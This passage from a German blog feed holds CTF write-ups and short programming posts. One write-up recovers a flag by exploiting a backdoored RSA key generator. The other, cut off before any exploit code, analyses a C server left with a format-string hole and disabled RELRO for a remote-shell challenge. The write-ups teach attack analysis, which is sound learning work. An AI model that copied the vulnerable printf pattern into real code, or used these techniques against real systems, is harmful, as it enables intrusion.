&apos;0x41424344&apos;
&quot;&quot;&quot;
return int.from_bytes(msg, byteorder=&apos;big&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;def decode(msg):
&quot;&quot;&quot;
Convert a number back to a message.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Example:
&amp;gt;&amp;gt;&amp;gt; decode(0x41424344)
b&apos;ABCD&apos;
&quot;&quot;&quot;
return int(msg).to_bytes(length=len(hex(msg))//2-1, byteorder=&apos;big&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Excerpt from RSA.py&lt;/h3&gt;
&lt;p&gt;x = 0xbb31781a2436fd6833597b61f91b94fba8cc5be702c7084de28625d96823102daf48dd84244fe41d180452a900388d1666ff59981f0912c6640977684c20bcfdcbf365dfcb68c0c5a9fd02576134a0e94ab9e20bbacffb4df5c9c27ae7f5022f6609aefeb9f5249387925ad13ce80a13&lt;/p&gt;
&lt;p&gt;def rsa_keygen():
def a(x, y):
z = 1
while True:
if is_prime(x&lt;em&gt;z + y):
return x&lt;/em&gt;z + y
z += 1&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p = a(x, random_prime(2^128, None, 2^127))
q = a(x, random_prime(2^128, None, 2^127))

N = p * q
e = 65537

d = inverse_mod(e, (p-1) * (q-1))

return e, d, N
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;def rsa_crypt(m, k, n):
return lift(Mod(m, n) ^ k)
{%- endhighlight -%}
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;(wer kein SageMath installiert hat, kann &lt;a href=&quot;https://cocalc.com&quot;&gt;diese Online-Version&lt;/a&gt; verwenden)&lt;/p&gt;
&lt;p&gt;Zu dem Code haben wir folgende Zahlen enthalten, die wir entschlüsseln sollen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;e = 65537
N = 6217468290706613301603616005528100131798149079252059573007495519788267044819121069395602245916998799930775648250683389442966714804739613450381148533419461928485596870928541962694971680190134542148996706927335882462229500089986851509475109505459048676123650490359710027902270147490153424656466031170743546488513755685818385587367321466024945007514143310365200975587058348169982977145650693955667384644381937407101389719894018805206516292068437770414857823797915459660636056085645464594641983523102970037856987032167809541108080330794363602778053
c = 2403958089131679913280388000590444805870336793994842072765238389702465658316012937918168208480675977995643226078413644628259138097045221263367315251880579357261568983261767728244111191268740525499918021532930079880132241418326592156659066605343402785460641431875333212535673641255300099993314785755934870975128143213605376650490207877022044023372044186152484758267679564160572404559310873497815049934655680334251964614447413366867181827019553147813581000873134348328652679149309707292737376026040119503186190733157879722025259970612661722013152
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hierbei ist &lt;code&gt;c&lt;/code&gt; ein Ciphertext und &lt;code&gt;(e, N)&lt;/code&gt; der öffentliche Schlüssel.&lt;/p&gt;
&lt;h1&gt;Lösung&lt;/h1&gt;
&lt;p&gt;Die Backdoor soll in &lt;code&gt;rsa_keygen&lt;/code&gt; sein. Schauen wir noch mal bei Wikipedia nach &lt;a href=&quot;https://de.wikipedia.org/wiki/RSA-Kryptosystem&quot;&gt;RSA&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Soweit sieht das alles identisch mit dem Standard-RSA-Vorgehen aus, bis auf diese Funktion &lt;code&gt;a&lt;/code&gt; und der offenbar willkürlich gewählten Konstante &lt;code&gt;x&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Um die gegebene Nachricht &lt;code&gt;c&lt;/code&gt; zu entschlüsseln, brauchen wir das Inverse &lt;code&gt;d&lt;/code&gt; (&lt;code&gt;mod phi(N)&lt;/code&gt;).
Dieses wird mit &lt;code&gt;inverse_mod(e, (p-1) * (q-1))&lt;/code&gt; berechnet. &lt;code&gt;(p-1) * (q-1)&lt;/code&gt; ist hierbei &lt;code&gt;phi(N)&lt;/code&gt;, die &lt;a href=&quot;https://de.wikipedia.org/wiki/Eulersche_Phi-Funktion&quot;&gt;Eulersche Phi-Funktion von &lt;code&gt;N&lt;/code&gt;&lt;/a&gt;. &lt;code&gt;phi(N)&lt;/code&gt; lässt sich einfach berechnen, wenn man die Primzahlfaktorzerlegung (PFZ) von &lt;code&gt;N&lt;/code&gt; hat.
Unser &lt;code&gt;N&lt;/code&gt; ist nun das Produkt der Primzahlen &lt;code&gt;p&lt;/code&gt; und &lt;code&gt;q&lt;/code&gt;, die wir nicht kennen.&lt;/p&gt;
&lt;p&gt;Wenn wir also &lt;code&gt;p&lt;/code&gt; und &lt;code&gt;q&lt;/code&gt; hätten, könnten wir daraus &lt;code&gt;(p-1) * (q-1)&lt;/code&gt; und somit &lt;code&gt;d&lt;/code&gt; berechnen.
Da die PFZ einer Zahl eindeutig ist, müssten wir &quot;nur&quot; &lt;code&gt;N&lt;/code&gt; faktorisieren, um zur Lösung zu kommen. Aus wie vielen Bits besteht denn &lt;code&gt;N&lt;/code&gt;?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import math
&amp;gt;&amp;gt;&amp;gt; math.log2(N)
1806.4432827685064
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Uff, 1800 Bit! Bei der &lt;a href=&quot;https://en.wikipedia.org/wiki/Integer_factorization_records&quot;&gt;Faktorisierungs-Rekordliste auf Wikipedia&lt;/a&gt; liegt der Rekord aktuell bei 829 Bit und benötigte 2700 CPU-Jahre.&lt;/p&gt;
&lt;p&gt;Damit kommen wir hier nicht weiter.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;p&lt;/code&gt; und &lt;code&gt;q&lt;/code&gt; fallen aus der Funktion &lt;code&gt;a(x, y)&lt;/code&gt; heraus. Schauen wir uns mal die Funktion &lt;code&gt;a&lt;/code&gt; an:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def a(x, y):
    z = 1
    while True:
        if is_prime(x*z + y):
            return x*z + y
        z += 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;y&lt;/code&gt; ist hierbei eine 127- bis 128-Bit-Primzahl.
Die Funktion addiert so lange &lt;code&gt;x&lt;/code&gt; hinzu, bis das Ergebnis wieder prim ist.
Es wird also zumindest eine &quot;echte&quot; Primzahl zurückgegeben.&lt;/p&gt;
&lt;p&gt;Die zurückgegebene Primzahl hat aber eine interessante Eigenschaft:
Nimmt man sie modulo &lt;code&gt;x&lt;/code&gt;, erhalten wir das ursprüngliche &lt;code&gt;y&lt;/code&gt;, also &lt;code&gt;(x*z + y) % x == y&lt;/code&gt; (wenn z eine ganze Zahl ist).&lt;/p&gt;
&lt;p&gt;Wir schreiben für die ursprünglichen Primzahlen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;py = p (mod x)
qy = q (mod x)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;py&lt;/code&gt; und &lt;code&gt;qy&lt;/code&gt; sind die Zahlen, die der entsprechende &lt;code&gt;random_prime&lt;/code&gt;-Aufruf zurückgegeben hat.
Wenn wir diese beiden Zahlen hätten, könnten wir daraus &lt;code&gt;p&lt;/code&gt; und &lt;code&gt;q&lt;/code&gt;, damit &lt;code&gt;phi(N)&lt;/code&gt; und den privaten Schlüsselexponenten &lt;code&gt;d&lt;/code&gt; berechnen.
Wir wären also damit am Ziel.&lt;/p&gt;
&lt;p&gt;Wir haben jetzt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;N = p * q
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mit dem Wissen über &lt;code&gt;p&lt;/code&gt; und &lt;code&gt;q&lt;/code&gt; bzw. &lt;code&gt;py&lt;/code&gt; und &lt;code&gt;qy&lt;/code&gt; und modularer Arithmetik können wir &lt;code&gt;N % x&lt;/code&gt; wie folgt schreiben:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;N (mod x) = (p * q) (mod x)
# =&amp;gt;
N (mod x) = (py (mod x)) * (qy (mod x)) (mod x)
# =&amp;gt;
N (mod x) = py * qy (mod x)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wir kennen &lt;code&gt;py&lt;/code&gt; und &lt;code&gt;qy&lt;/code&gt; zwar nicht, aber dafür können wir leicht &lt;code&gt;N % x&lt;/code&gt; berechnen. Machen wir das einfach mal:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; N % x
66125408326246957633291817320886184668904992358732144386954697003579825863329
# == py * qy (mod x)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wir haben jetzt also &lt;code&gt;py * qy&lt;/code&gt;. Vielleicht können wir das faktorisieren?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; math.log2(N % x)
255.19173993737596
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;255 Bit, das sieht vielversprechend aus. Das ist sogar so klein, dass wir diese Zahl mit &lt;a href=&quot;https://www.sagemath.org/&quot;&gt;SageMath&lt;/a&gt; oder &lt;a href=&quot;https://pari.math.u-bordeaux.fr&quot;&gt;Pari/GP&lt;/a&gt; faktorisieren können. Letzteres &lt;a href=&quot;https://pari.math.u-bordeaux.fr/gp.html&quot;&gt;läuft auch im Browser mit WebAssembly&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;? factor(N % x)
%1 = [
    221907985412741132065008213841199453713, 1;
    297985708820960177865320211443397151633, 1
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Das hat ein paar Minuten gedauert, aber es funktioniert!&lt;/strong&gt; Wir haben jetzt also &lt;code&gt;py&lt;/code&gt;/&lt;code&gt;qy&lt;/code&gt; und können die einfach in den beretgestellten SageMath-Code einsetzen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def rsa_keygen():
    def a(x, y):
        z = 1
        while True:
            if is_prime(x*z + y):
                return x*z + y
            z += 1

    p = a(x, 221907985412741132065008213841199453713) # py eingesetzt
    q = a(x, 297985708820960177865320211443397151633) # qy eingesetzt

    N = p * q
    e = 65537

    d = inverse_mod(e, (p-1) * (q-1))

    return e, d, N

e, d, N = rsa_keygen()
# d ist
# 3467768107026547385652638598807828312519916128200871775823473514729397520320938286000540898957902515126869436661843385176446317748106368775680640284756421439369120076034163821389280861589483618706566925985548751264810334876318558725999720428964472073154825463083731032087297027362897230895721168475580090760348500981461541577170237929409970063856773739334065914786957420755971894585049822901273421798773066522116201358512033300269512677528703251374687234206800845284169662237729684442740976846102023058025865707418543160234080009299622311844865
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Jetzt können wir die ursprüngliche Nachricht entschlüsseln:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; decode(rsa_crypt(c, d, N))
b&apos;HL{rsa_b4ckd00rz_mad3_s1mpl3}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fertig!&lt;/p&gt;
&lt;h2&gt;Takeaway und Weiterführendes&lt;/h2&gt;
&lt;p&gt;Nach Außen hin sah der generierte Schlüssel sicher aus. Kennt der Angreifer aber die (ggf. sogar geheime) Konstante &lt;code&gt;x&lt;/code&gt;, kann er das Kryptosystem mit einem Desktoprechner brechen. Das &lt;code&gt;x&lt;/code&gt; dient damit als Generalschlüssel für alle mit dem Verfahren erzeugten Schlüsselpaare.&lt;/p&gt;
&lt;p&gt;In vielen Verfahren werden &lt;a href=&quot;https://en.wikipedia.org/wiki/Nothing-up-my-sleeve_number&quot;&gt;&quot;Nothing-up-my-sleeve&quot;-Zahlen&lt;/a&gt; verwendet. So kann man zeigen, dass man nicht mit einer geschickt gewählten Konstante versucht, eine Backdoor einzubauen (wie z. B. mit P und Q beim CSPRNG &lt;a href=&quot;https://en.wikipedia.org/wiki/Dual_EC_DRBG&quot;&gt;Dual_EC_DRBG&lt;/a&gt;).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>bnd</category><category>ctf</category><category>writeup</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/01/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/01/1.html</guid><pubDate>Wed, 01 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heute kam ein neues Proposal für CSS: &lt;a href=&quot;https://www.w3.org/TR/2021/WD-css-nesting-1-20210831/&quot;&gt;Nesting Module&lt;/a&gt;. Wenn ich das richtig lese, kann man Selektoren ineinander verschachteln, ähnlich, wie man es bei SCSS auch macht:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This module introduces the ability to nest one style rule inside another, with the selector of the child rule relative to the selector of the parent rule. This increases the modularity and maintainability of CSS stylesheets.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Die verlinkten Beispiele sehen auch danach aus, als hätten sie einfach direkt SCSS genommen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/01/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/01/2.html</guid><pubDate>Wed, 01 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;How-to API nicht designen: &lt;code&gt;String.split(String pattern)&lt;/code&gt; schneidet &lt;strong&gt;per default&lt;/strong&gt; leere Strings &lt;em&gt;am Ende&lt;/em&gt; des Ergebnis-Arrays weg (und &lt;em&gt;nur&lt;/em&gt; da):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = &quot;a.b.&quot;.split(&quot;\\.&quot;); // [&quot;a&quot;, &quot;b&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dieses Verhalten alleine produziert schon Bugs (tatsächlich habe ich dadurch einen gefunden, der seit ~3 Jahren unbemerkt war).&lt;/p&gt;
&lt;p&gt;Es wird aber noch besser! Wenn man das nicht will, also wenn man will, dass es sich so wie in jeder anderen Sprache verhält, muss man eine Überladung verwenden, die einen &lt;code&gt;limit&lt;/code&gt;-Parameter hat. Warum &lt;code&gt;limit&lt;/code&gt;? Na das ist die maximale Anzahl an Tokens für einen Match:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If n is non-positive then the pattern will be applied as many times as possible and the array can have any length. &lt;em&gt;If n is zero [Anm. d. Red.: default] then the pattern will be applied as many times as possible, the array can have any length, and trailing empty strings will be discarded.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Das intuitive Verhalten wäre also:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = &quot;a.b.&quot;.split(&quot;\\.&quot;, -1); // [&quot;a&quot;, &quot;b&quot;, &quot;&quot;]
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>java</category><category>api-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/01/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/01/3.html</guid><pubDate>Wed, 01 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/file-io-improvements-in-dotnet-6/&quot;&gt;File IO improvements in .NET 6&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also ich weiß ja nicht, was der Fall ist. Entweder war .NET vorher im Vergleich derbe langsam, oder jetzt, wo es open source ist, kommen da viele Wunderkinder aus den Ecken und optimieren an jeder Stelle, was das Zeug hält. Wie auch immer die solche Performanceverbesserungen aus dem Hut zaubern.&lt;/p&gt;
&lt;p&gt;Vielleicht sind es aber auch die Low-Level-Features, die C# seit neustem eins nach dem Anderen dazubekommt, was dazu führt, dass man jetzt solche Optimierungen machen kann. War eigentlich kein Fan davon, weil es in Zukunft immer mehr Wege gibt, Dinge zu tun. Aber ich kann schon verstehen, warum man das will, wenn man damit solche Verbesserungen herzaubern kann.&lt;/p&gt;
&lt;p&gt;Interessant ist auch die neue &quot;Thread-Safe File IO&quot;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We recognized the need for thread-safe File IO. To make this possible, stateless and offset-based APIs have been introduced in #53669 which was part of .NET 6 Preview 7:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;An einigen Stellen scheinen sie jetzt auch &quot;am Betriebssystem vorbei&quot; zu gehen (siehe Anmerkung über den File-Offset).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/02/0.html</guid><pubDate>Thu, 02 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Der nächste Writeup aus den BND-CTFs. Nach der &lt;a href=&quot;/2021/09/01/0.html&quot;&gt;Backdoor in der RSA-Schlüsselerzeugung&lt;/a&gt;, dieses Mal aus der Kategorie &lt;em&gt;Binary Exploitation&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Das Ziel:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploit a binary to gain a remote shell.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Wir bekommen die &lt;code&gt;server.c&lt;/code&gt;, sowie die auf dem Server genutzte libc.
&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;Server-Code&amp;lt;/summary&amp;gt;
{%- highlight c linenos -%}
// gcc server.c -o server -g -ggdb -Wl,-z,norelro -fstack-protector-all&lt;/p&gt;
&lt;p&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;&lt;/p&gt;
&lt;p&gt;int my_read(FILE *fd, char *buf, size_t max) {
int read = 0;
while (read &amp;lt; max &amp;amp;&amp;amp; !feof(fd)) {
int ch = getc(fd);
if (ch == &apos;\n&apos;) {
break;
} else {
buf[read] = ch;
read++;
}
}
buf[read] = 0;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;return read;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;char rot13(char ch) {
if (ch &amp;gt;= &apos;a&apos; &amp;amp;&amp;amp; ch &amp;lt;= &apos;z&apos;) {
return ((ch - &apos;a&apos; + 13) % 26) + &apos;a&apos;;
} else if (ch &amp;gt;= &apos;A&apos; &amp;amp;&amp;amp; ch &amp;lt;= &apos;Z&apos;) {
return ((ch - &apos;A&apos; + 13) % 26) + &apos;A&apos;;
} else if (ch &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; ch &amp;lt;= &apos;9&apos;) {
return ((ch - &apos;0&apos; + 5) % 10) + &apos;0&apos;;
} else {
return ch;
}
}&lt;/p&gt;
&lt;p&gt;int main(int argc, char** argv) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char inp[0x100];
char cc;

puts(&quot;Welcome to our 86-GBE service!&quot;);
puts(&quot;Enter your message and press return.&quot;);
puts(&quot;Enter quit to exit.&quot;);

unsigned char len;
for (;;) {
	len = my_read(stdin, inp, sizeof (inp) - 1);
	if (strcmp(inp, &quot;quit&quot;) == 0) {
		exit(0);
	}

	for (int i = 0; i &amp;lt; len; i++) {
		inp[i] = rot13(inp[i]);
	}

	for (int i = 0; i &amp;lt; len / 2; i++) {
		cc = inp[i];
		inp[i] = inp[len -i -1];
		inp[len - i - 1] = cc;
	}

	printf(inp);
	putc(&apos;\n&apos;, stdout);
}

exit(0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}
{%- endhighlight -%}
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;Nehmt Euch am besten etwas Zeit, um den Code erstmal anzuschauen.&lt;/p&gt;
&lt;p&gt;Falls Ihr das nachstellen wollt, die Sha1-Hashes der beiden Shared-Objects und der bereitgestellten server-Executable sind:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;8981f7e94145867387b532e1ef0afec6beb2f96e  ld-linux.so.2
4fcd76645607f38d91f65654ddd6b9770b5ea54a  libc.so.6
ea5b846f1eaa6a413aa91dda8e68067b407f52a9  server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ich werde die Binaries hier nicht hochladen. Die libc werdet Ihr aber sicher irgendwo finden und die Executable könnt Ihr selbst kompilieren.&lt;/p&gt;
&lt;h2&gt;Sammlung der Hinweise&lt;/h2&gt;
&lt;p&gt;Schauen wir erstmal, was alles auffällig ist und was in der Aufgabe steht.&lt;/p&gt;
&lt;p&gt;Aufgabe:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploit a binary to gain a remote shell.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Die Zeile, mit der der Server kompiliert wurde, ist in der Datei angegeben:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc server.c -o server -g -ggdb -Wl,-z,norelro -fstack-protector-all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Das sind aber ganz schön viele Flags! Schauen wir mal nach, was sie alle machen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-g&lt;/code&gt; und &lt;code&gt;-ggdb&lt;/code&gt;: &quot;Bitte lass Debug-Symbole in der Executable&quot;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-Wl,-z,norelro&lt;/code&gt;: &lt;code&gt;-Wl&lt;/code&gt; reicht die danach folgenden Zeichen als Argument an den Linker durch. D. h. unser Linker bekommt &lt;code&gt;-z norelro&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;norelro&lt;/code&gt;: Normalerweise ist die &lt;a href=&quot;https://hockeyinjune.medium.com/relro-relocation-read-only-c8d0933faef3&quot;&gt;&lt;strong&gt;REL&lt;/strong&gt;ocation Section auf &lt;strong&gt;R&lt;/strong&gt;ead&lt;strong&gt;only&lt;/strong&gt;&lt;/a&gt;. Mit diesen Parameter wird dieser Schutz ausgestellt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-fstack-protector-all&lt;/code&gt;: Schaltet Stack-Protection ein, z. B. für Härtung gegen Buffer-Overflows mit irgendwelchen Stack-Guards/Canarys.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Jetzt, wo wir wissen, was die Flags in etwa machen, kompilieren wir mal unsere eigene Server-Executable. Ich füge noch &lt;code&gt;-Wall -Wpedantic&lt;/code&gt; hinzu, damit wir vielleicht noch ein paar Warnungen mehr sehen, die uns helfen könnten:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc server.c -o server2 -g -ggdb -Wl,-z,norelro -fstack-protector-all
server.c: In function ‘main’:
server.c:65:10: warning: format not a string literal and no format arguments [-Wformat-security]
   65 |   printf(inp);
      |          ^~~
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Huch, was ist das denn für eine Warnung?
Wir haben uns den Code noch gar nicht angeschaut und sehen jetzt schon, dass an einer Stelle ein Buffer direkt an &lt;code&gt;printf&lt;/code&gt; übergeben wird. Diese Warnung bekommt man auch, wenn wir das &lt;code&gt;-Wall -Wpedantic&lt;/code&gt; weg lassen.&lt;/p&gt;
&lt;p&gt;Blicken wir jetzt mal in den Code:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Der dort reingereichte Buffer wird direkt vom User kontrolliert. Vorher wird noch ein bisschen rot13 gemacht und der String umgedreht. Eingelesen wird er über die &lt;code&gt;my_read&lt;/code&gt;-Funktion&lt;/li&gt;
&lt;li&gt;Die &lt;code&gt;main&lt;/code&gt;-Funktion verwendet ausschließlich &lt;code&gt;exit(0)&lt;/code&gt;, um die Funktion zu verlassen.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Außerdem interessant: Wir bekommen die libc, die auf dem Server liegt, dazu.&lt;/p&gt;
&lt;h2&gt;Skizzierung des Angriffs&lt;/h2&gt;
&lt;p&gt;Nehmen wir mal unsere bisherigen Funde und schauen, wie wir dort weiter kommen.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;-fstack-protector-all&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Das soll uns wohl klar machen, dass wir nicht versuchen sollen, den Stack zu überlaufen, um z. B. die Return-Address zu überschreiben.&lt;/p&gt;
&lt;p&gt;Dafür spricht auch, dass &lt;code&gt;exit&lt;/code&gt; verwendet wird, um das Programm zu beenden (statt zu returnen). Würden wir den Stack zum Überlauf bringen, würde es uns nichts bringen, die Rücksprungadresse zu überschreiben. Die &lt;code&gt;my_read&lt;/code&gt;-Funktion sieht auf den ersten Blick auch nicht für Überläufe anfällig aus.&lt;/p&gt;
&lt;p&gt;Vielleicht können wir ja Shellcode in den Stack schreiben und dort hinspringen? Dafür müsste der Stack ausführbar sein. Schauen wir mal nach:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -l server
Program Headers:
Type           Offset             VirtAddr           PhysAddr           FileSiz            MemSiz              Flags  Align
PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000002a0 0x00000000000002a0  R      0x8
INTERP         0x00000000000002e0 0x00000000000002e0 0x00000000000002e0 0x000000000000001c 0x000000000000001c  R      0x1
LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000860 0x0000000000000860  R      0x1000
LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000 0x0000000000000655 0x0000000000000655  R E    0x1000
LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000 0x0000000000000208 0x0000000000000208  R      0x1000
LOAD           0x0000000000002208 0x0000000000003208 0x0000000000003208 0x0000000000000298 0x00000000000002c8  RW     0x1000
DYNAMIC        0x0000000000002218 0x0000000000003218 0x0000000000003218 0x00000000000001f0 0x00000000000001f0  RW     0x8
NOTE           0x0000000000000300 0x0000000000000300 0x0000000000000300 0x0000000000000020 0x0000000000000020  R      0x8
NOTE           0x0000000000000320 0x0000000000000320 0x0000000000000320 0x0000000000000044 0x0000000000000044  R      0x4
GNU_PROPERTY   0x0000000000000300 0x0000000000000300 0x0000000000000300 0x0000000000000020 0x0000000000000020  R      0x8
GNU_EH_FRAME   0x0000000000002068 0x0000000000002068 0x0000000000002068 0x0000000000000054 0x0000000000000054  R      0x4
GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000  RW     0x10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Die unterste Zeile zeigt: Nein, leider ist der Stack nicht ausführbar.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;norelro&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Stattdessen sieht es so aus, als würde man uns sehr doll hinten, irgendwas mit den Relocation-Sections zu machen. Das Readonly-Flag wird extra entfernt. Wir sollen diese Gegebenheit wohl ausnutzen.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;printf&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Der an das &lt;code&gt;printf&lt;/code&gt; übergebene Buffer deutet auf eine &lt;a href=&quot;https://owasp.org/www-community/attacks/Format_string_attack&quot;&gt;Format-String-Attacke&lt;/a&gt; hin. Mit dem
&lt;code&gt;%n&lt;/code&gt; können wir an bestimmte Adressen im Speicher schreiben. Was können wir denn so beschreiben?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -S server
There are 31 section headers, starting at offset 0x3028:
Section Headers:
[Nr] Name              Type             Address           Offset       Size              EntSize          Flags  Link  Info  Align
[ 0]                   NULL             0000000000000000  00000000     0000000000000000  0000000000000000           0     0     0
[ 1] .interp           PROGBITS         00000000000002e0  000002e0     000000000000001c  0000000000000000   A       0     0     1
[ 2] .note.gnu.propert NOTE             0000000000000300  00000300     0000000000000020  0000000000000000   A       0     0     8
[ 3] .note.gnu.build-i NOTE             0000000000000320  00000320     0000000000000024  0000000000000000   A       0     0     4
[ 4] .note.ABI-tag     NOTE             0000000000000344  00000344     0000000000000020  0000000000000000   A       0     0     4
[ 5] .gnu.hash         GNU_HASH         0000000000000368  00000368     0000000000000034  0000000000000000   A       6     0     8
[ 6] .dynsym           DYNSYM           00000000000003a0  000003a0     00000000000001b0  0000000000000018   A       7     1     8
[ 7] .dynstr           STRTAB           0000000000000550  00000550     00000000000000db  0000000000000000   A       0     0     1
[ 8] .gnu.version      VERSYM           000000000000062c  0000062c     0000000000000024  0000000000000002   A       6     0     2
[ 9] .gnu.version_r    VERNEED          0000000000000650  00000650     0000000000000030  0000000000000000   A       7     1     8
[10] .rela.dyn         RELA             0000000000000680  00000680     0000000000000108  0000000000000018   A       6     0     8
[11] .rela.plt         RELA             0000000000000788  00000788     00000000000000d8  0000000000000018  AI       6    24     8
[12] .init             PROGBITS         0000000000001000  00001000     000000000000001b  0000000000000000  AX       0     0     4
[13] .plt              PROGBITS         0000000000001020  00001020     00000000000000a0  0000000000000010  AX       0     0     16
[14] .plt.got          PROGBITS         00000000000010c0  000010c0     0000000000000010  0000000000000010  AX       0     0     16
[15] .plt.sec          PROGBITS         00000000000010d0  000010d0     0000000000000090  0000000000000010  AX       0     0     16
[16] .text             PROGBITS         0000000000001160  00001160     00000000000004e5  0000000000000000  AX       0     0     16
[17] .fini             PROGBITS         0000000000001648  00001648     000000000000000d  0000000000000000  AX       0     0     4
[18] .rodata           PROGBITS         0000000000002000  00002000     0000000000000066  0000000000000000   A       0     0     8
[19] .eh_frame_hdr     PROGBITS         0000000000002068  00002068     0000000000000054  0000000000000000   A       0     0     4
[20] .eh_frame         PROGBITS         00000000000020c0  000020c0     0000000000000148  0000000000000000   A       0     0     8
